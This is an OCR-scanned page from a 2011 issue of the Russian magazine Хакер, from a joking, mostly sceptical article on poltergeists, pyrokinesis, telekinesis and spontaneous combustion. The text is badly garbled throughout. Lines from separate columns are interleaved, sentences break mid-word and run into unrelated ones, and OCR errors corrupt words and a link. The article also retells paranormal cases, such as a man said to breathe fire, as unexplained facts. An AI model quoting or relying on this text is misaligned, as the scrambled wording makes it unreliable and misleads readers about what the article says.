ских показателей головного мозга и повышение пульса до

Научного же объяснения, как ты понимаешь, не существует

ударов в минуту [но это может быть объяснено обычным стрес­

-

240

и н аче описываемые явления не имели бы статус пара нормаль­

сом в результате сильного эмоционального напряжения), а также

ных.

сильное электрическое поле и короткие ультразвуковые импуль­

Интересный факт: считается, что полтергейст [в отличие от,

сы, образовывавшиеся вокруг рук женщины [а вот этому уже

например , привидений) привязан не к месту, а к человеку, так

найти объяснение не удалось).

что если тебе вдруг покажется, что мебель перемещается, а изо

Что касается версии парапсихологов, то они уверены в том, что

всех углов раздаются посторонние звуки

-

переезд не поможет.

все происходило благодаря усилию мысли. «Мысль

- это тоже

Лучше уточни, не мыла ли мама пол за диваном, и не начал ли

энергия»,

сосед ремонт. Но если тебе интересно, как сей факт трактуют

ле они правы - и если так, то )[ является отличным источником

парапсихологи

-

-

утверждает парапсихология. Что ж, в каком -то смыс­

энергии :) Интересный видеоролик на тему телекинеза: httQ://bit.

изволь.

Итак, люди, занимающиеся исследованием полтергейста, счи­

lу/t еlеkiпеz .

тают, что данное паранормальное явление чаще всего «сопро­

вождае т » подростков в пубертатный период. В период полового

> Пирокинез

созревания [равно как и у женщин во время беременности) у

Пирокинез

человека отмечается повышение э н ергопотенциала

-

«при рода

-

это то, чем занимался легендарный мальчик, о

котором МЫ вспомнили в самом начале, а именно

- способность

дает авансом ресурсы» для рождения нового человека [в случае

воспламенять предметы при контакте с ними, но без исполь­

беременных) и для рождения новой зрелой личности [в случае с

зования каких-либо вспомогательных средств, или вообще на

подростками). Мы склонны объяснять подобные энергоподъемы

расстоянии. Описаний подобных примеров можно найти немало,

[которые, кстати, случаются в описанных ситуациях далеко не

но ни один из них, как ты догадываешься, не имеет научного

всегда, бывает и совершенно наоборот) гормональными про­

обоснования. Один из самых известных случаев

цессами, ну да ладно. С точки зрения

мый «феномен Андервуда», который имел место в США в 1927

психоэнергетики, любая

-

так называе­

энергия [как положи т ельная, как и отрицательная) должна выво­

году. Доктор Леонард Вудман опубликовал в специализирован­

диться, иначе, накапливаясь в

ном медицинском издании Мiсhigап

энергетическом поле человека,

Medical

статью, описываю­

она при водит к стрессам. Кто-то выводит излишки энергии,

щую случай его пациента, некого молодого человека по фамилии

занимаясь спортом, кто-то

Андервуд, который страдал от «огненного дыхания», вследствие

разряжается на более слабых, у кого­

то случаются эмоциональные срывы ... А кто -то, У кого скопление

чего был вынужден дышать крайне осторожно, чтобы не вызвать

достигает критического уровня, бессознательно швыряет кресло

пожар. « Человек-огнемет» был подвергнут различным экспери­

в потолок или поджигает обои в комнате ,помнишь горячего

ментам: в присутствии нескольких медиков он дышал на различ­

парня с Украины, о котором шла речь выше?). Пара психологи

ные легковоспламеняемые предметы [хлопковый платок, сухие

утверждают, что проведя работу с такими людьми, можно помочь

листья, бумага), и в результате они начинали тлеть, а затем

им контролировать уничтожающее воздействие мир

на окружающий

- трансформировать свою отрицательную энергию в поло­

жительную и направить ее в мирное русло

-

например, исце­

лять людей [конечно, для этого человек должен хорошо владеть

воспламенялись. перед экспериментом испытуемый раздевался догола, чтобы не иметь возможности спрятать, например, спички в рукаве, а также тщательно полоскал рот, но результаты оста­

вались стабильно положительными. Ученые, участвовавшие в

собой и иметь сильное желание помогать другим). Но наш тебе

испытаниях, не смогли дать какое-либо объяснение феномену,

совет: хочешь кого-то исцелить

хотя некоторые их современные коллеги пытаются

-

получи медицинское образо­

вание, а если пять видов химии тебя пугают

-

не шути с огнем и

предложить

такую версию: при интенсивном дыхании происходит концен­

расходуй излишки своей энергии на что-либо конструктивное.

трация поля [энергии) на определенной зоне предмета, вызывая

Например, запишись в спортзал или попробуй еще раз пройти

резкое повышение температуры до высоких градусов, достаточ­

хак-квест, улучшив свой предыдущий результат.

ных для воспламенения. Впрочем, такое объяснение не нашло

> Телекинез (психокинез)

ешься огня и дыма изо рта

Телекинезом называется воздействие на физические объекты

Но, тем не менее, существуют и вполне объяснимые случаи воз­

одним лишь усилием мысли, без применения какой-либо физи­

горания, причем, что даже более страшно

ческой силы. Пожалуй, это самое известное широким массам

Известен, например, ряд прецедентов, когда неожиданно и без

пока широкой поддержки, и это логично. Наше мнение: опаса­

пара нормальное явление

-

в основном за счет популярности

- лучше брось курить. -

самовозгорания.

всякого видимого воздействия на глазах множества свидетелей

имитирующих телекинез фокусов: В арсенале почти каждого «вол­

вспыхивали одежда и обувь ничего не подозревавшего чело­

шебника», выступающего на утренниках и корпоративах, имеется

века. Причина была проста

трюк со сдвиганием чашки , стоящей на расстоянии нескольких

и одежда пропиталась распыляемыми удобрениями, в состав

метров, или «неуправляемо»

которых входили горючие вещества. Возникшее при ходьбе тре­

ездящими по залу стульями.

- пострадавшие работали на поле,

Впрочем, известны мастера, чьи умения значительно превос­

ние и вызвало возгорание, хотя со стороны процесс выглядел,

ходили простые методы с привязанной к предмету тонкой про­

конечно, более чем загадочно. Такие случаи, как ты понимаешь,

волокой . Например , секрет известной телекинезистки Нинель

во многом способствуют распространению легенд о неконтро­

Кулагиной не разгадан до сих пор. Кулагина могла перемещать

лируемых выбросах огня и так далее. Кстати, среди них есть и

~1з8

Х АКЕР 04/147/2011


Ури Геллер демонстрирует свой знаменитый фокус с ложками довольно забавные, например: « человек продал душу дьяволу, а

цина [все же лечение травяными настоями и свежим воздухом

потом не придерживался условий договора и за это был наказан

далеки от «получения данных из энергоинформационного поля»)

испепелением»

подобную теорию не признают, равно как и ни одна из областей

или «самовозгораются алкоголики, поскольку

их организм сильно п ропитан спиртом». Не вступай в сомни­

науки. И с этой ситуацией сложно спорить. При этом даром сверх­

тельные сделки, не злоупотребляй алкоголем и не верь всему,

чувствования, вообще-то, обладает почти каждый, и это не что

что говорят, а главное

-

соблюдай технику противопожарной

безопасности.

иное как интуиция, а именно

-

бессознательный анализ проис­

ходящего на основании врожденных инс